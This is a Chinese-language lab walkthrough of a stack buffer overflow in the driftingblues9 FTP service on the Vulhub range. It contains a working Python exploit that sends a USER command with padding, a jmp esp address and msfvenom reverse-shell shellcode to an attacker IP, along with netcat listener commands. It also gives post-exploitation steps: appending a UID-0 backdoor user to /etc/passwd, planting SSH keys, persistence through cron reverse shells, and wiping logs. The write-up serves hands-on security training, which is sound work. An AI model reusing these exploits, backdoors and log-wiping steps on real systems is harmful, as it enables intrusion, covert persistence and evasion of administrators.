栈溢出漏洞原理与手工利用实战:从偏移计算到Shellcode注入
1. 项目概述一次经典的栈溢出提权实战最近在复现一个老靶场Vulhub里的driftingblues9它模拟的是一个存在缓冲区溢出漏洞的FTP服务。这个靶场很有意思它把漏洞场景还原得非常“原汁原味”没有现代操作系统那些花里胡哨的防护机制非常适合用来理解栈溢出攻击最核心的原理和手工利用的完整流程。很多朋友学安全一上来就搞复杂的ROP链、绕过ASLR结果基础没打牢遇到稍微变种的漏洞就懵了。这个靶场恰恰相反它让你回归本质专注于计算偏移、定位返回地址、构造shellcode这些基本功。简单来说这个靶场的核心就是一个运行在目标服务器上的、存在栈缓冲区溢出漏洞的FTP服务程序。我们的攻击目标就是通过向这个程序发送精心构造的超长数据覆盖掉函数在栈上的返回地址让它跳转到我们注入的恶意代码shellcode上去执行。一旦成功我们就能在目标服务器上获得一个反向shell进而提权到root。整个过程就像玩一个精密的“拼图”游戏找到溢出点、计算精确的偏移、准备合适的“跳板”、放入有效的“载荷”。下面我就把这次从信息收集到最终提权的完整过程以及其中踩过的坑和总结的技巧详细拆解一遍。2. 靶场环境搭建与初步信息收集2.1 Vulhub靶场环境部署Vulhub的部署算是比较简单的但第一次弄也容易遇到些小问题。我是在一台Kali Linux虚拟机上操作的前提是已经装好了Docker和Docker Compose。首先把Vulhub项目克隆下来git clone https://github.com/vulhub/vulhub.git cd vulhub然后找到driftingblues9这个靶场所在的目录。Vulhub的靶场是按漏洞类型或CVE编号分类的driftingblues9通常放在某个训练集目录下比如training或者pentest里。你需要用find命令找一下find . -name *driftingblues* -type d找到路径后进入该目录例如./training/driftingblues/9。启动靶场的命令万年不变docker-compose up -d这里有个关键注意事项一定要确保当前目录下有正确的docker-compose.yml文件。有时候从GitHub拉取会因为网络问题失败导致目录是空的。如果遇到[] running 1/1之后报错连接registry失败多半是网络问题。可以尝试更换Docker镜像源或者直接检查docker-compose.yml文件是否存在且内容完整。启动成功后用docker ps看一下应该能看到一个容器在运行通常映射了21端口FTP。用netstat -tlnp或者docker port 容器ID确认一下FTP服务确实在监听。2.2 目标服务探测与漏洞点分析环境起来后第一件事就是信息收集。我们用nmap对靶机进行扫描nmap -sV -sC 靶机IP扫描结果会显示开放的端口和服务版本。对于这个靶场最核心的就是那个FTP服务。我们尝试用普通的FTP客户端或者telnet去连接一下telnet 靶机IP 21或者ftp 靶机IP连接后服务器会返回一个横幅Banner比如220 Welcome to the driftingblues FTP service。这个横幅信息有时会包含软件名称和版本对我们后续搜索公开漏洞有帮助。漏洞点分析根据靶场描述和漏洞原理问题出在FTP服务的某个命令处理函数上。很可能是处理USER、PASS或者MKD、CWD这类包含路径参数的命令时程序使用了不安全的字符串拷贝函数如strcpy、sprintf而没有检查输入长度。当我们输入一个超长的用户名、密码或路径名时数据就会写入栈上固定大小的缓冲区并覆盖其后的内容包括保存的返回地址EIP/RIP。注意在实际动手前我习惯先阅读一下Vulhub官方提供的漏洞说明或README.md。里面通常会简要说明漏洞类型和触发的命令这能节省我们盲目fuzzing的时间。对于这个靶场已知是通过USER命令触发溢出。3. 缓冲区溢出原理与利用链拆解3.1 栈内存布局与溢出机制要利用缓冲区溢出必须对函数调用时栈Stack的内存布局有清晰的认识。当一个函数被调用时栈上会依次压入从高地址向低地址生长以下关键信息函数参数如果存在的话。返回地址EIP/RIP这是最关键的部分它告诉函数执行完毕后CPU应该回到哪里继续执行。覆盖它我们就控制了程序流。旧的基址指针EBP/RBP保存调用者函数的栈帧基址。局部变量包括我们那个脆弱的缓冲区buffer。它就在栈上紧挨着EBP和返回地址。假设有一个函数void vuln_func(char *input)它内部声明了一个局部变量char buffer[64]并使用strcpy(buffer, input)进行拷贝。如果input长度超过64字节那么多出来的字符就会从buffer的尾部“溢出”依次覆盖后面的EBP和返回地址。计算偏移量这是我们攻击的第一步。我们需要知道从缓冲区的起始位置到返回地址存储位置之间到底有多少个字节。这个距离就是“偏移量”Offset。只有精确覆盖返回地址才能实现精准跳转。3.2 利用链设计从覆盖EIP到执行Shellcode控制了返回地址后我们要让程序跳到哪里去呢直接跳转到我们输入的、存放在缓冲区里的恶意代码Shellcode行不行理论上可以但有个问题缓冲区的地址在每次程序运行时可能是不固定的尤其是在现代系统有ASLR的情况下。不过在这个简单的靶场里我们假设栈地址是固定的或者我们可以通过其他方法定位到它。一个更经典、更可靠的方法是使用“跳板”Trampoline技术。我们寻找一个固定的、存在于程序本身或其链接库中的指令序列比如jmp esp或call esp。这条指令的作用是跳转到ESP寄存器所指向的地址去执行。而我们的Shellcode就紧跟在覆盖的返回地址之后存放。攻击流程如下[垃圾字符填充偏移量] [jmp esp指令的地址] [Shellcode]函数返回时被覆盖的返回地址变成了jmp esp的地址于是CPU去执行jmp esp。此时ESP寄存器正好指向哪里它指向返回地址之后的位置也就是我们存放Shellcode的起始位置jmp esp指令执行CPU跳转到ESP指向的地址即开始执行我们的Shellcode。这条jmp esp指令就是我们利用链中的关键“齿轮”。我们需要在目标进程的内存空间中比如libc.so里找到它的地址。这个地址是固定的因为靶场可能关闭了ASLR这就解决了Shellcode地址不固定的问题。4. 手工利用漏洞的详细步骤4.1 定位精确偏移量找到偏移量是成功的一半。最准确的方法是使用模式字符串Pattern。我们可以用Metasploit的pattern_create.rb工具生成一段唯一的不重复字符串。/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 500生成长度为500的字符串。然后我们编写一个简单的Python脚本用这个字符串作为USER命令的参数发送给FTP服务器。import socket import sys target 靶机IP port 21 # 生成的长度为500的模式字符串 buf Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9 s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) print(s.recv(1024).decode()) # 接收Banner s.send(bUSER buf.encode() b\r\n) print(s.recv(1024).decode()) s.close()运行脚本目标程序应该会崩溃。然后我们查看崩溃时程序计数器的值EIP。在调试器里比如用gdb附加到进程或者如果程序有崩溃日志EIP会被覆盖成我们模式字符串的一部分。接着使用pattern_offset.rb工具根据EIP的值来计算偏移量。/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 崩溃时的EIP值例如如果EIP是0x63413563工具会告诉我们偏移量是X字节。这个X就是从缓冲区开始到返回地址之间的精确距离。实操心得发送模式字符串后服务可能崩溃并断开连接导致无法立即看到反馈。这时需要在脚本中加入异常处理或者更稳妥的办法是使用调试器gdb附加到FTP服务进程上实时观察EIP寄存器的值。在Docker容器内调试可能麻烦些可以先把靶场程序复制到本地在同样架构的系统上调试确定偏移量后再回到远程攻击。4.2 寻找JMP ESP指令地址找到偏移量后下一步是找到jmp esp指令的地址。我们需要目标程序或其加载的动态链接库如libc的基地址。首先找出目标FTP程序使用了哪些共享库# 进入容器 docker exec -it 容器名或ID /bin/bash # 找到FTP进程的PID ps aux | grep ftp # 查看进程内存映射 cat /proc/PID/maps在maps文件中找到类似libc-2.xx.so的行的起始地址这就是libc的加载基地址。然后我们需要在libc的二进制文件中找到jmp esp指令的机器码FF E4并计算它的偏移。# 在本地Kali上如果有目标libc文件 objdump -d /path/to/libc.so.6 | grep ff e4 -A 1 -B 1 # 或者用msf的nasm_shell工具计算操作码 /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb nasm jmp esp 00000000 FFE4 jmp esp假设在libc文件中jmp esp指令位于偏移0x00012345处。而我们从maps文件中看到libc的加载基地址是0xb7e19000。那么jmp esp指令在内存中的实际地址就是0xb7e19000 0x00012345 0xB7F2B345。重要检查这个地址里不能包含坏字符Bad Characters。坏字符是指那些在漏洞利用的上下文中会被程序特殊处理或截断的字符比如空字节\x00C语言字符串终止符、换行符\x0a\x0d可能被解释为命令结束。我们需要确保我们使用的地址如0xB7F2B345的每一个字节B7F2B345都不在坏字符列表中。通常空字节\x00是绝对要避免的。4.3 生成与编码Shellcode我们的目标是获取一个反向Shell连接到我们的攻击机。使用Msfvenom来生成Shellcode非常方便。假设我们的攻击机IP是192.168.1.100监听端口是4444。msfvenom -p linux/x86/shell_reverse_tcp LHOST192.168.1.100 LPORT4444 -f python -b \x00\x0a\x0d参数解释-p linux/x86/shell_reverse_tcp: 指定payload类型这里是Linux x86架构的反向TCP Shell。LHOST/LPORT: 指定攻击机的IP和端口。-f python: 输出格式为Python字节数组方便直接嵌入脚本。-b \x00\x0a\x0d: 指定要避免的坏字符。这里排除了空字节、换行和回车。务必根据目标程序的实际过滤情况来调整这个列表。有时还需要排除空格(\x20)、冒号(\x3a)等。生成的Shellcode是一串十六进制字节。有时为了绕过简单的字符过滤还需要进行编码。Msfvenom也支持编码器比如x86/shikata_ga_nai。msfvenom -p linux/x86/shell_reverse_tcp LHOST192.168.1.100 LPORT4444 -e x86/shikata_ga_nai -f python -b \x00\x0a\x0d但编码会增加Shellcode的长度和复杂度在缓冲区空间有限的情况下需谨慎使用。4.4 构造并发送最终攻击载荷现在我们有了一切零件偏移量offset、jmp esp地址jmp_esp_addr、Shellcode字节数组shellcode。接下来就是组装最终的攻击字符串PayloadPayload [垃圾字符 * offset] [jmp_esp_addr (小端格式)] [若干NOP指令 (\x90)] [shellcode]垃圾字符通常用A\x41或B\x42填充只是为了占位。jmp_esp_addr必须以小端序Little-endian格式写入。对于地址0xB7F2B345在x86架构下在内存中应从低字节到高字节排列即\x45\xb3\xf2\xb7。NOP雪橇NOP Sled\x90是空操作指令。在Shellcode前面放上一串NOP指令比如16-32字节可以增加我们跳转成功的容错率。只要EIP跳转到NOP雪橇的任何位置CPU都会一路“滑行”到Shellcode开始执行。完整的Python攻击脚本示例import socket import struct target 靶机IP port 21 offset 200 # 假设我们计算出的偏移量是200 jmp_esp struct.pack(I, 0xB7F2B345) # 小端格式打包地址 nop_sled b\x90 * 32 # 使用msfvenom生成的shellcode (示例) shellcode b shellcode b\xba\x1c\xe5\x9b\x5e\xda\xd0\xd9\x74\x24\xf4\x5e shellcode b\x29\xc9\xb1\x12\x31\x56\x12\x83\xee\xfc\x03\xd6 shellcode b\x4a\xb3\x2a\x3c\xb4\x2c\x2a\x48\xe6\x4e\xa4\x2d # ... 省略更多字节 buf bA * offset buf jmp_esp buf nop_sled buf shellcode s socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) print(s.recv(1024).decode()) s.send(bUSER buf b\r\n) print(s.recv(1024).decode()) # 可能没有回应因为程序已经崩溃或执行了shellcode s.close()在运行攻击脚本之前务必先在攻击机上开启Netcat监听nc -lvnp 4444然后运行攻击脚本。如果一切顺利你应该能在Netcat终端看到来自目标服务器的反向Shell连接。5. 提权过程与权限巩固5.1 从普通Shell到Root权限通过缓冲区溢出获得的初始Shell其权限取决于漏洞进程的运行权限。如果FTP服务是以root身份运行的在很多老系统或配置不当的服务器上常见那么我们得到的Shell直接就是root权限。可以用id或whoami命令验证。如果获得的不是root权限比如是一个普通用户www-data或nobody我们就需要进一步提权。这就是“提权”Privilege Escalation阶段。在Linux系统上常见的提权思路包括内核漏洞利用寻找未打补丁的系统内核漏洞使用对应的Exploit如DirtyCow来提权。可以用uname -a查看内核版本然后搜索公开的Exp。SUID/SGID二进制文件查找设置了SUID位的可执行文件如果这些文件本身存在漏洞或者能被滥用就可能用来提权。命令find / -perm -4000 -type f 2/dev/null。环境变量劫持如果以高权限运行的脚本或程序调用了外部命令如ping、cp并且没有使用绝对路径我们可以通过修改PATH环境变量来劫持它。Cron Jobs检查计划任务看是否有以root权限运行的脚本并且我们对其有写权限或者脚本引用了我们可控的文件。数据库提权如果服务器运行了MySQL、PostgreSQL等并且我们拿到了数据库凭据可以尝试利用数据库的特定功能如UDF提权来执行系统命令。对于driftingblues9这个靶场通常漏洞进程本身就有root权限所以第一步获得的Shell往往就是root。但作为一个完整的演练了解后续的提权路径是必要的。5.2 权限维持与后渗透清理拿到root权限后为了维持访问我们通常会做以下几件事添加后门用户在/etc/passwd文件中添加一个UID为0root的用户。echo backdoor:$(openssl passwd -1 -salt abc 123456):0:0::/root:/bin/bash /etc/passwd这样就可以用用户名backdoor密码123456通过SSH登录了。安装SSH公钥将攻击机的SSH公钥写入root用户的authorized_keys文件。mkdir -p /root/.ssh echo ssh-rsa AAAAB3NzaC1yc2E... /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys创建反向Shell持久化编辑Cron任务或系统服务定期向攻击机发起反向Shell连接。清理痕迹在渗透测试中清理日志是重要一环避免被管理员发现。需要清理的日志包括命令历史history -c或清空~/.bash_history。系统日志/var/log/auth.log、/var/log/syslog、/var/log/messages等删除与我们IP或用户名相关的条目。可以使用sed命令进行过滤删除。Web日志如果通过Web漏洞进入还需清理/var/log/apache2/access.log等。重要提醒以上提权和后渗透技术仅限在授权的靶场或自己完全可控的环境中进行学习和测试。在未经授权的系统上实施是非法行为。6. 常见问题排查与调试技巧6.1 攻击失败原因分析与解决即使按照步骤操作攻击也可能失败。以下是一些常见问题及排查思路服务没有崩溃但也没有收到Shell监听端口没开确认攻击机的Netcat监听是否已启动且防火墙是否放行了对应端口。Shellcode执行失败可能是坏字符没排除干净。除了\x00\x0a\x0d可能还需要排除\x20空格、\x2f/、\x3a:等取决于目标程序如何解析输入。尝试使用编码器或者用msfvenom生成alpha_mixed等更纯净的Shellcode。地址错误jmp esp的地址计算错误或者地址本身包含坏字符。用调试器验证程序崩溃时EIP是否被正确覆盖为我们提供的地址。栈空间不足或不可执行虽然这个老靶场可能没开NX不可执行栈但如果开了我们的Shellcode在栈上就无法执行。需要改用ROP面向返回编程技术。不过对于driftingblues9通常不考虑这个。程序崩溃但EIP没有被精确控制偏移量计算错误重新用pattern_create和pattern_offset验证。确保发送的字符串和计算时用的字符串完全一致。缓冲区大小或对齐问题有时需要多填充或少填充几个字节。可以尝试在偏移量附近微调如offset-4,offset4。连接FTP服务后立即断开无法发送PayloadFTP命令格式错误确保发送的字符串以\r\n结尾这是FTP协议的换行符。Python中要用b\r\n而不是\n。防火墙或网络问题确保网络连通并且靶场容器的端口映射正确。6.2 使用调试器辅助漏洞利用对于复杂的漏洞或者当攻击脚本不 work 时调试器GDB是必不可少的。虽然靶场运行在Docker中调试不太方便但我们可以将可疑的二进制文件从容器中复制出来在相同架构的Linux系统上调试。复制二进制文件和依赖库docker cp 容器名:/path/to/ftp_server ./ftp_server_copy # 复制必要的lib库或使用chroot/patchelf准备调试环境使用GDB附加调试gdb ./ftp_server_copy (gdb) set follow-fork-mode child # 如果程序fork子进程需要跟踪子进程 (gdb) run在另一个终端用Python脚本发送Payload攻击本地运行的程序。当程序崩溃时GDB会中断此时可以查看寄存器状态、栈内存内容验证EIP是否被覆盖、Shellcode是否被正确写入预期位置。关键检查点info registers查看EIP、ESP等寄存器的值。x/20wx $esp以十六进制查看ESP寄存器指向的内存区域看我们的Shellcode是否就位。x/i $eip查看EIP指向的指令确认是否是我们预期的jmp esp地址。手工利用缓冲区溢出漏洞就像在完成一道复杂的逻辑谜题。每一步都需要精确从计算偏移、寻找跳转地址到构造无坏字符的Shellcode任何一个环节出错都会导致失败。driftingblues9这个靶场剥离了现代缓解机制的干扰让我们能专注于理解漏洞利用的原始逻辑和手工技艺这对于打牢网络安全基础至关重要。在实际操作中耐心和细致的调试是成功的关键。每次失败后通过调试器分析崩溃现场对比预期和实际的内存状态逐步修正攻击载荷最终看到Netcat弹回那个期待已久的Shell时那种成就感是无可替代的。